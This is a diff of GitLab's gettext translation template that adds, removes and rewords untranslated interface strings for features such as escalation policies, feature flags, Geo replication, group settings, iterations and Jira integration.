@@ -13087,30 +12889,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -13120,6 +12946,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13156,9 +12991,6 @@ msgstr ""
msgid "Events"
msgstr ""
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr ""
@@ -13302,7 +13134,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13323,9 +13155,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13422,9 +13251,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13443,9 +13269,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr ""
@@ -13731,9 +13554,6 @@ msgstr ""
msgid "Feature Flags"
msgstr ""
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13763,9 +13583,6 @@ msgstr ""
msgid "FeatureFlags|* (All Environments)"
msgstr ""
-msgid "FeatureFlags|* (All environments)"
-msgstr ""
-
msgid "FeatureFlags|API URL"
msgstr ""
@@ -13814,9 +13631,6 @@ msgstr ""
msgid "FeatureFlags|Enable features for specific users and environments by configuring feature flag strategies."
msgstr ""
-msgid "FeatureFlags|Environment Spec"
-msgstr ""
-
msgid "FeatureFlags|Environment Specs"
msgstr ""
@@ -13847,9 +13661,6 @@ msgstr ""
msgid "FeatureFlags|Feature flags limit reached (%{featureFlagsLimit}). Delete one or more feature flags before adding new ones."
msgstr ""
-msgid "FeatureFlags|Flag is read-only"
-msgstr ""
-
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
@@ -13865,9 +13676,6 @@ msgstr ""
msgid "FeatureFlags|Inactive flag for %{scope}"
msgstr ""
-msgid "FeatureFlags|Include additional user IDs"
-msgstr ""
-
msgid "FeatureFlags|Install a %{docsLinkAnchoredStart}compatible client library%{docsLinkAnchoredEnd} and specify the API URL, application name, and instance ID during the configuration setup. %{docsLinkStart}More Information%{docsLinkEnd}"
msgstr ""
@@ -13907,24 +13715,12 @@ msgstr ""
msgid "FeatureFlags|Percent rollout"
msgstr ""
-msgid "FeatureFlags|Percent rollout (logged in users)"
-msgstr ""
-
msgid "FeatureFlags|Percent rollout must be an integer number between 0 and 100"
msgstr ""
-msgid "FeatureFlags|Protected"
-msgstr ""
-
msgid "FeatureFlags|Remove"
msgstr ""
-msgid "FeatureFlags|Rollout Percentage"
-msgstr ""
-
-msgid "FeatureFlags|Rollout Strategy"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -13934,9 +13730,6 @@ msgstr ""
msgid "FeatureFlags|Strategies"
msgstr ""
-msgid "FeatureFlags|Target environments"
-msgstr ""
-
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
@@ -14020,9 +13813,6 @@ msgstr ""
msgid "File deleted"
msgstr ""
-msgid "File format is no longer supported"
-msgstr ""
-
msgid "File hooks are similar to system hooks but are executed as files instead of sending data to a URL."
msgstr ""
@@ -14038,6 +13828,9 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
+msgid "File suppressed by a .gitattributes entry or the file's encoding is unsupported."
+msgstr ""
+
msgid "File synchronization concurrency limit"
msgstr ""
@@ -14104,9 +13897,6 @@ msgstr ""
msgid "Filter by name"
msgstr ""
-msgid "Filter by status"
-msgstr ""
-
msgid "Filter by test cases that are currently archived."
msgstr ""
@@ -14275,6 +14065,9 @@ msgstr ""
msgid "For each job, re-use the project workspace. If the workspace doesn't exist, use %{code_open}git clone%{code_close}."
msgstr ""
+msgid "For example, the application using the token or the purpose of the token."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -14296,10 +14089,7 @@ msgstr ""
msgid "For more information, see the File Hooks documentation."
msgstr ""
-msgid "For more information, see the documentation on %{deactivating_usage_ping_link_start}deactivating the usage ping%{deactivating_usage_ping_link_end}."
-msgstr ""
-
-msgid "For more information, see the documentation on %{link_start}disabling Seat Link%{link_end}."
+msgid "For more information, see the documentation on %{deactivating_service_ping_link_start}deactivating service ping%{deactivating_service_ping_link_end}."
msgstr ""
msgid "Forgot your password?"
@@ -14503,159 +14293,21 @@ msgstr ""
msgid "Geo Nodes"
msgstr ""
-msgid "Geo Nodes|Cannot remove a primary node if there is a secondary node"
-msgstr ""
-
msgid "Geo Replication"
msgstr ""
msgid "Geo Settings"
msgstr ""
-msgid "Geo nodes are paused using a command run on the node"
-msgstr ""
-
msgid "Geo sites"
msgstr ""
-msgid "GeoNodeStatusEvent|%{timeAgoStr} (%{pendingEvents} events)"
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is failing or broken."
-msgstr ""
-
-msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
-msgstr ""
-
-msgid "GeoNodes|Consult Geo troubleshooting information"
-msgstr ""
-
-msgid "GeoNodes|Data replication lag"
-msgstr ""
-
-msgid "GeoNodes|Does not match the primary storage configuration"
-msgstr ""
-
-msgid "GeoNodes|Full"
-msgstr ""
-
-msgid "GeoNodes|GitLab version"
-msgstr ""
-
-msgid "GeoNodes|GitLab version does not match the primary node version"
-msgstr ""
-
-msgid "GeoNodes|Health status"
-msgstr ""
-
-msgid "GeoNodes|Internal URL"
-msgstr ""
-
-msgid "GeoNodes|Last event ID processed by cursor"
-msgstr ""
-
-msgid "GeoNodes|Last event ID seen from primary"
-msgstr ""
-
-msgid "GeoNodes|Learn more about Geo node statuses"
-msgstr ""
-
-msgid "GeoNodes|Loading nodes"
-msgstr ""
-
-msgid "GeoNodes|New node"
-msgstr ""
-
-msgid "GeoNodes|Node Authentication was successfully repaired."
-msgstr ""
-
-msgid "GeoNodes|Node URL"
-msgstr ""
-
-msgid "GeoNodes|Node was successfully removed."
-msgstr ""
-
-msgid "GeoNodes|Node's status was updated %{timeAgo}."
-msgstr ""
-
-msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo primary node stops the synchronization to all nodes. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Removing a Geo secondary node stops the synchronization to that node. Are you sure?"
-msgstr ""
-
-msgid "GeoNodes|Replicated data is verified with the %{nodeText} using checksums"
-msgstr ""
-
-msgid "GeoNodes|Replication slot WAL"
-msgstr ""
-
-msgid "GeoNodes|Replication slots"
-msgstr ""
-
-msgid "GeoNodes|Replication status"
-msgstr ""
-
-msgid "GeoNodes|Selective (%{syncLabel})"
-msgstr ""
-
-msgid "GeoNodes|Selective synchronization"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while changing node status"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while fetching nodes"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while removing node"
-msgstr ""
-
-msgid "GeoNodes|Something went wrong while repairing node"
-msgstr ""
-
-msgid "GeoNodes|Storage config"
-msgstr ""
-
-msgid "GeoNodes|Sync settings"
-msgstr ""
-
-msgid "GeoNodes|Unused slots"
-msgstr ""
-
-msgid "GeoNodes|Updated %{timeAgo}"
-msgstr ""
-
-msgid "GeoNodes|Used slots"
-msgstr ""
-
-msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
-msgstr ""
-
-msgid "GeoNodes|You have configured Geo nodes using an insecure HTTP connection. We recommend the use of HTTPS."
-msgstr ""
-
-msgid "GeoNodes|primary node"
-msgstr ""
-
-msgid "GeoNodes|secondary nodes"
-msgstr ""
-
msgid "Geo|%{component} synced"
msgstr ""
msgid "Geo|%{component} verified"
msgstr ""
-msgid "Geo|%{itemTitle} checksum progress"
-msgstr ""
-
-msgid "Geo|%{itemTitle} verification progress"
-msgstr ""
-
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -14746,6 +14398,9 @@ msgstr ""
msgid "Geo|Failed"
msgstr ""
+msgid "Geo|Filter by name"
+msgstr ""
+
msgid "Geo|Filter by status"
msgstr ""
@@ -14845,9 +14500,6 @@ msgstr ""
msgid "Geo|Pending verification"
msgstr ""
-msgid "Geo|Please refer to Geo Troubleshooting."
-msgstr ""
-
msgid "Geo|Primary node"
msgstr ""
@@ -14920,6 +14572,12 @@ msgstr ""
msgid "Geo|Resync all"
msgstr ""
+msgid "Geo|Resync all %{replicableType}"
+msgstr ""
+
+msgid "Geo|Resync all projects"
+msgstr ""
+
msgid "Geo|Retry count"
msgstr ""
@@ -14929,6 +14587,9 @@ msgstr ""
msgid "Geo|Reverify all"
msgstr ""
+msgid "Geo|Reverify all projects"
+msgstr ""
+
msgid "Geo|Review replication status, and resynchronize and reverify items with the primary node."
msgstr ""
@@ -14959,9 +14620,6 @@ msgstr ""
msgid "Geo|Synchronization failed - %{error}"
msgstr ""
-msgid "Geo|Synchronization of %{itemTitle} is disabled."
-msgstr ""
-
msgid "Geo|Synchronization settings"
msgstr ""
@@ -14983,6 +14641,15 @@ msgstr ""
msgid "Geo|There was an error fetching the Geo Nodes"
msgstr ""
+msgid "Geo|This will resync all %{replicableType}. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will resync all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
+msgid "Geo|This will reverify all projects. It may take some time to complete. Are you sure you want to continue?"
+msgstr ""
+
msgid "Geo|Tracking database entry will be removed. Are you sure?"
msgstr ""
@@ -15523,9 +15190,6 @@ msgstr ""
msgid "Goal of the changes and what reviewers should be aware of"
msgstr ""
-msgid "Google Cloud Platform"
-msgstr ""
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -15571,6 +15235,15 @@ msgstr ""
msgid "Graph"
msgstr ""
+msgid "GraphViewType|Job dependencies"
+msgstr ""
+
+msgid "GraphViewType|Show dependencies"
+msgstr ""
+
+msgid "GraphViewType|Stage"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -15592,9 +15265,6 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
-msgid "Group Audit Events"
-msgstr ""
-
msgid "Group Git LFS status:"
msgstr ""
@@ -15625,6 +15295,9 @@ msgstr ""
msgid "Group applications"
msgstr ""
+msgid "Group audit events"
+msgstr ""
+
msgid "Group avatar"
msgstr ""
@@ -15694,13 +15367,10 @@ msgstr ""
msgid "Group navigation"
msgstr ""
-msgid "Group overview"
-msgstr ""
-
msgid "Group overview content"
msgstr ""
-msgid "Group path is already taken. Suggestions: "
+msgid "Group path is already taken. We've suggested one that is available."
msgstr ""
msgid "Group path is available."
@@ -15736,9 +15406,6 @@ msgstr ""
msgid "Group was successfully updated."
msgstr ""
-msgid "Group-level events in %{group_name} (no project-level events)"
-msgstr ""
-
msgid "Group: %{group_name}"
msgstr ""
@@ -16051,18 +15718,15 @@ msgstr ""
msgid "GroupSettings|Prevent forking setting was not saved"
msgstr ""
-msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
+msgid "GroupSettings|Prevent members from sending invitations to groups outside of %{group} and its subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay."
+msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. Inherited by subgroups."
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings."
-msgstr ""
-
msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{link_start}customized by an admin%{link_end} in instance settings. Inherited by subgroups."
msgstr ""
@@ -16087,6 +15751,9 @@ msgstr ""
msgid "GroupSettings|This setting is applied on %{ancestor_group}. You can override the setting or %{remove_ancestor_share_with_group_lock}."
msgstr ""
+msgid "GroupSettings|This setting is only available on the top-level group and it applies to all subgroups. Groups that have already been shared with a group outside %{group} will still be shared, and this access will have to be revoked manually."
+msgstr ""
+
msgid "GroupSettings|This setting will be applied to all subgroups unless overridden by a group owner. Groups that already have access to the project will continue to have access unless removed manually."
msgstr ""
@@ -16126,13 +15793,13 @@ msgstr ""
msgid "GroupSettings|remove the share with group lock from %{ancestor_group_name}"
msgstr ""
-msgid "Groups"
+msgid "GroupTemplate|The selected group's repositories and databases are copied into the projects created in this group. %{link_start}What should I add to my template group?%{link_end} "
msgstr ""
-msgid "Groups (%{count})"
+msgid "Groups"
msgstr ""
-msgid "Groups (%{groups})"
+msgid "Groups (%{count})"
msgstr ""
msgid "Groups and projects"
@@ -16315,6 +15982,9 @@ msgstr ""
msgid "Heading 3"
msgstr ""
+msgid "Heading 4"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16431,6 +16101,9 @@ msgstr ""
msgid "Hide shared projects"
msgstr ""
+msgid "Hide tooltips or popovers"
+msgstr ""
+
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] ""
@@ -16514,9 +16187,6 @@ msgstr ""
msgid "How do I set up this service?"
msgstr ""
-msgid "How does cleanup work?"
-msgstr ""
-
msgid "How it works"
msgstr ""
@@ -16664,6 +16334,9 @@ msgstr ""
msgid "If enabled, only protected branches will be mirrored."
msgstr ""
+msgid "If no options are selected, only administrators can register runners."
+msgstr ""
+
msgid "If the YouTube URL is https://www.youtube.com/watch?v=0t1DgySidms then the video ID is %{id}"
msgstr ""
@@ -16842,9 +16515,6 @@ msgstr ""
msgid "Import project members"
msgstr ""
-msgid "Import project/repository"
-msgstr ""
-
msgid "Import projects from Bitbucket"
msgstr ""
@@ -17348,13 +17018,16 @@ msgstr ""
msgid "InProductMarketing|you may %{unsubscribe_link} at any time."
msgstr ""
+msgid "Inactive"
+msgstr ""
+
msgid "Incident"
msgstr ""
msgid "Incident Management Limits"
msgstr ""
-msgid "Incident template (optional)"
+msgid "Incident template (optional)."
msgstr ""
msgid "IncidentManagement|%{hours} hours, %{minutes} minutes remaining"
@@ -17444,9 +17117,6 @@ msgstr ""
msgid "IncidentSettings|Activate \"time to SLA\" countdown timer"
msgstr ""
-msgid "IncidentSettings|Alert integration"
-msgstr ""
-
msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
msgstr ""
@@ -17600,6 +17270,18 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "InfrastructureRegistry|Copy Terraform Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy Terraform Setup Command"
+msgstr ""
+
+msgid "InfrastructureRegistry|Copy and paste into your Terraform configuration, insert the variables, and run Terraform init:"
+msgstr ""
+
+msgid "InfrastructureRegistry|For more information on the Terraform registry, %{linkStart}see our documentation%{linkEnd}."
+msgstr ""
+
msgid "InfrastructureRegistry|Infrastructure Registry"
msgstr ""
@@ -17612,6 +17294,9 @@ msgstr ""
msgid "InfrastructureRegistry|Terraform modules are the main way to package and reuse resource configurations with Terraform. Learn more about how to %{noPackagesLinkStart}create Terraform modules%{noPackagesLinkEnd} in GitLab."
msgstr ""
+msgid "InfrastructureRegistry|To authorize access to the Terraform registry:"
+msgstr ""
+
msgid "InfrastructureRegistry|You have no Terraform modules in your project"
msgstr ""
@@ -17651,6 +17336,9 @@ msgstr ""
msgid "Insert inline code"
msgstr ""
+msgid "Insert link"
+msgstr ""
+
msgid "Insert suggestion"
msgstr ""
@@ -17666,9 +17354,6 @@ msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
msgstr ""
-msgid "Install"
-msgstr ""
-
msgid "Install GitLab Runner and ensure it's running."
msgstr ""
@@ -17681,12 +17366,6 @@ msgstr ""
msgid "Installation"
msgstr ""
-msgid "Installed"
-msgstr ""
-
-msgid "Installing"
-msgstr ""
-
msgid "Instance"
msgid_plural "Instances"
msgstr[0] ""
@@ -17707,6 +17386,9 @@ msgstr ""
msgid "Instance administrators group already exists"
msgstr ""
+msgid "Instance audit events"
+msgstr ""
+
msgid "Instance overview"
msgstr ""
@@ -17749,9 +17431,6 @@ msgstr ""
msgid "Integrations|All projects inheriting these settings will also be reset."
msgstr ""
-msgid "Integrations|As a GitLab administrator, you can set default configuration parameters for a given integration that all projects can inherit and use. When you set these parameters, your changes update the integration for all projects that are not already using custom settings. Learn more about %{integrations_link_start}Project integration management%{link_end}."
-msgstr ""
-
msgid "Integrations|Browser limitations"
msgstr ""
@@ -17791,12 +17470,24 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
+msgid "Integrations|GitLab administrators can set up integrations that all groups and projects inherit and use by default. These integrations apply to all groups and projects that don't already use custom settings. You can override custom settings for a group or project if the settings are necessary at that level. Learn more about %{integrations_link_start}instance-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|GitLab administrators can set up integrations that all projects in a group inherit and use by default. These integrations apply to all projects that don't already use custom settings. You can override custom settings for a project if the settings are necessary at that level. Learn more about %{integrations_link_start}group-level integration management%{link_end}."
+msgstr ""
+
+msgid "Integrations|Group-level integration management"
+msgstr ""
+
msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
msgid "Integrations|Includes commit title and branch."
msgstr ""
+msgid "Integrations|Instance-level integration management"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -17821,9 +17512,6 @@ msgstr ""
msgid "Integrations|Note: this integration only works with accounts on GitLab.com (SaaS)."
msgstr ""
-msgid "Integrations|Project integration management"
-msgstr ""
-
msgid "Integrations|Projects using custom settings will not be affected."
msgstr ""
@@ -17974,6 +17662,9 @@ msgstr ""
msgid "Invalid login or password"
msgstr ""
+msgid "Invalid period"
+msgstr ""
+
msgid "Invalid pin code"
msgstr ""
@@ -18049,25 +17740,7 @@ msgstr ""
msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
msgstr ""
-msgid "InviteEmail|%{inviter} invited you to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} with the %{role} permission level."
-msgstr ""
-
-msgid "InviteEmail|As a developer, you have full access to projects, so you can take an idea from concept to production."
-msgstr ""
-
-msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
-msgstr ""
-
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
-msgstr ""
-
-msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
-msgstr ""
-
-msgid "InviteEmail|As a user with minimal access, you can view the high-level group from the UI and API."
-msgstr ""
-
-msgid "InviteEmail|As an owner, you have full access to projects and can manage access to the group, including inviting new members."
+msgid "InviteEmail|%{project_or_group} details"
msgstr ""
msgid "InviteEmail|Groups assemble related projects together and grant members access to several projects at once."
@@ -18076,13 +17749,10 @@ msgstr ""
msgid "InviteEmail|Join now"
msgstr ""
-msgid "InviteEmail|Projects can be used to host your code, track issues, collaborate on code, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
+msgid "InviteEmail|Projects are used to host and collaborate on code, track issues, and continuously build, test, and deploy your app with built-in GitLab CI/CD."
msgstr ""
-msgid "InviteEmail|What can I do with the %{role} permission level?"
-msgstr ""
-
-msgid "InviteEmail|What is a GitLab %{project_or_group}?"
+msgid "InviteEmail|What's it about?"
msgstr ""
msgid "InviteEmail|You are invited to join the %{strong_start}%{project_or_group_name}%{strong_end}%{br_tag}%{project_or_group} as a %{role}"
@@ -18103,7 +17773,7 @@ msgstr ""
msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
msgstr ""
-msgid "InviteMembersModal|%{linkStart}Read more%{linkEnd} about role permissions"
+msgid "InviteMembersModal|%{linkStart}Learn more%{linkEnd} about roles."
msgstr ""
msgid "InviteMembersModal|Access expiration date (optional)"
@@ -18112,9 +17782,6 @@ msgstr ""
msgid "InviteMembersModal|Cancel"
msgstr ""
-msgid "InviteMembersModal|Choose a role permission"
-msgstr ""
-
msgid "InviteMembersModal|Close invite team members"
msgstr ""
@@ -18139,6 +17806,9 @@ msgstr ""
msgid "InviteMembersModal|Select a group to invite"
msgstr ""
+msgid "InviteMembersModal|Select a role"
+msgstr ""
+
msgid "InviteMembersModal|Select members or type email addresses"
msgstr ""
@@ -18550,18 +18220,36 @@ msgstr ""
msgid "Iterations"
msgstr ""
+msgid "Iterations|Add iteration"
+msgstr ""
+
msgid "Iterations|Automated scheduling"
msgstr ""
msgid "Iterations|Cadence name"
msgstr ""
+msgid "Iterations|Couldn't find iteration cadence"
+msgstr ""
+
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Delete cadence"
+msgstr ""
+
+msgid "Iterations|Delete iteration cadence?"
+msgstr ""
+
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Edit cadence"
+msgstr ""
+
+msgid "Iterations|Edit iteration cadence"
+msgstr ""
+
msgid "Iterations|Error loading iteration cadences."
msgstr ""
@@ -18571,6 +18259,9 @@ msgstr ""
msgid "Iterations|Iteration scheduling will be handled automatically"
msgstr ""
+msgid "Iterations|Move incomplete issues to the next iteration"
+msgstr ""
+
msgid "Iterations|New iteration cadence"
msgstr ""
@@ -18583,6 +18274,12 @@ msgstr ""
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
+msgid "Iterations|Roll over issues"
+msgstr ""
+
+msgid "Iterations|Save cadence"
+msgstr ""
+
msgid "Iterations|Select duration"
msgstr ""
@@ -18601,9 +18298,15 @@ msgstr ""
msgid "Iterations|The start date of your first iteration"
msgstr ""
+msgid "Iterations|This will delete the cadence as well as all of the iterations within it."
+msgstr ""
+
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -18703,9 +18406,15 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
+msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
+msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
+msgstr ""
+
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -18754,6 +18463,9 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
+msgid "JiraService|No available statuses"
+msgstr ""
+
msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
msgstr ""
@@ -18844,9 +18556,6 @@ msgstr ""
msgid "Job artifacts"
msgstr ""
-msgid "Job dependencies"
-msgstr ""
-
msgid "Job has been erased"
msgstr ""
@@ -18874,18 +18583,6 @@ msgstr ""
msgid "Job was retried"
msgstr ""
-msgid "JobName|build-job"
-msgstr ""
-
-msgid "JobName|deploy-app"
-msgstr ""
-
-msgid "JobName|lint-test"
-msgstr ""
-
-msgid "JobName|unit-test"
-msgstr ""
-
msgid "Jobs"
msgstr ""
@@ -18997,9 +18694,6 @@ msgstr ""
msgid "Join Zoom meeting"
msgstr ""
-msgid "Join your team"
-msgstr ""
-
msgid "Joined %{time_ago}"
msgstr ""
@@ -19159,9 +18853,6 @@ msgstr ""
msgid "LFS"
msgstr ""
-msgid "LFS object"
-msgstr ""
-
msgid "LFS objects"
msgstr ""
@@ -19392,9 +19083,6 @@ msgstr ""
msgid "Learn how to %{no_packages_link_start}publish and share your packages%{no_packages_link_end} with GitLab."
msgstr ""
-msgid "Learn how to enable synchronization"
-msgstr ""
-
msgid "Learn more"
msgstr ""
@@ -19602,6 +19290,9 @@ msgstr ""
msgid "License ID:"
msgstr ""
+msgid "License file"
+msgstr ""
+
msgid "License overview"
msgstr ""
@@ -19823,6 +19514,9 @@ msgstr ""
msgid "Link Sentry to GitLab to discover and view the errors your application generates."
msgstr ""
+msgid "Link URL"
+msgstr ""
+
msgid "Link an external wiki from the project's sidebar. %{docs_link}"
msgstr ""
@@ -20057,6 +19751,15 @@ msgstr ""
msgid "Made this issue confidential."
msgstr ""
+msgid "Mailgun"
+msgstr ""
+
+msgid "Mailgun HTTP webhook signing key"
+msgstr ""
+
+msgid "Mailgun events"
+msgstr ""
+
msgid "Maintenance mode"
msgstr ""
@@ -20075,9 +19778,6 @@ msgstr ""
msgid "Makes this issue confidential."
msgstr ""
-msgid "Manage"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -20297,9 +19997,6 @@ msgstr ""
msgid "Max Project Import requests per minute per user"
msgstr ""
-msgid "Max access level"
-msgstr ""
-
msgid "Max authenticated API requests per period per user"
msgstr ""
@@ -20369,6 +20066,9 @@ msgstr ""
msgid "Maximum delay (Minutes)"
msgstr ""
+msgid "Maximum diff patch size (Bytes)"
+msgstr ""
+
msgid "Maximum duration of a session."
msgstr ""
@@ -20390,6 +20090,9 @@ msgstr ""
msgid "Maximum file size is 2MB. Please select a smaller file."
msgstr ""
+msgid "Maximum files in a diff"
+msgstr ""
+
msgid "Maximum import size (MB)"
msgstr ""
@@ -20402,6 +20105,9 @@ msgstr ""
msgid "Maximum lifetime allowable for Personal Access Tokens is active, your expire date must be set before %{maximum_allowable_date}."
msgstr ""
+msgid "Maximum lines in a diff"
+msgstr ""
+
msgid "Maximum npm package file size in bytes"
msgstr ""
@@ -20462,9 +20168,6 @@ msgstr ""
msgid "Measured in bytes of code. Excludes generated and vendored code."
msgstr ""
-msgid "Median"
-msgstr ""
-
msgid "Medium Timeout Period"
msgstr ""
@@ -21241,9 +20944,6 @@ msgstr ""
msgid "Mi"
msgstr ""
-msgid "Microsoft Azure"
-msgstr ""
-
msgid "Middleman project with Static Site Editor support"
msgstr ""
@@ -21384,9 +21084,6 @@ msgstr ""
msgid "Milestones|Milestone %{milestoneTitle} was not found"
msgstr ""
-msgid "Milestones|No milestones found"
-msgstr ""
-
msgid "Milestones|Ongoing Issues (open and assigned)"
msgstr ""
@@ -21645,9 +21342,6 @@ msgstr ""
msgid "Multiple uploaders found: %{uploader_types}"
msgstr ""
-msgid "Must have a unique policy, status, and elapsed time"
-msgstr ""
-
msgid "Must match with the %{codeStart}external_url%{codeEnd} in %{codeStart}/etc/gitlab/gitlab.rb%{codeEnd}."
msgstr ""
@@ -21821,9 +21515,6 @@ msgstr ""
msgid "NetworkPolicies|Are you sure you want to delete this policy? This action cannot be undone."
msgstr ""
-msgid "NetworkPolicies|Choose whether to enforce this policy."
-msgstr ""
-
msgid "NetworkPolicies|Create policy"
msgstr ""
@@ -21872,7 +21563,7 @@ msgstr ""
msgid "NetworkPolicies|Namespace"
msgstr ""
-msgid "NetworkPolicies|Network Policy"
+msgid "NetworkPolicies|Network"
msgstr ""
msgid "NetworkPolicies|Network traffic"
@@ -21929,13 +21620,13 @@ msgstr ""
msgid "NetworkPolicies|Save changes"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, failed to update policy"
+msgid "NetworkPolicies|Scan Execution"
msgstr ""
-msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
+msgid "NetworkPolicies|Something went wrong, failed to update policy"
msgstr ""
-msgid "NetworkPolicies|Status"
+msgid "NetworkPolicies|Something went wrong, unable to fetch policies"
msgstr ""
msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
@@ -22132,9 +21823,6 @@ msgstr ""
msgid "New iteration"
msgstr ""
-msgid "New iteration cadence"
-msgstr ""
-
msgid "New iteration created"
msgstr ""
@@ -22153,7 +21841,7 @@ msgstr ""
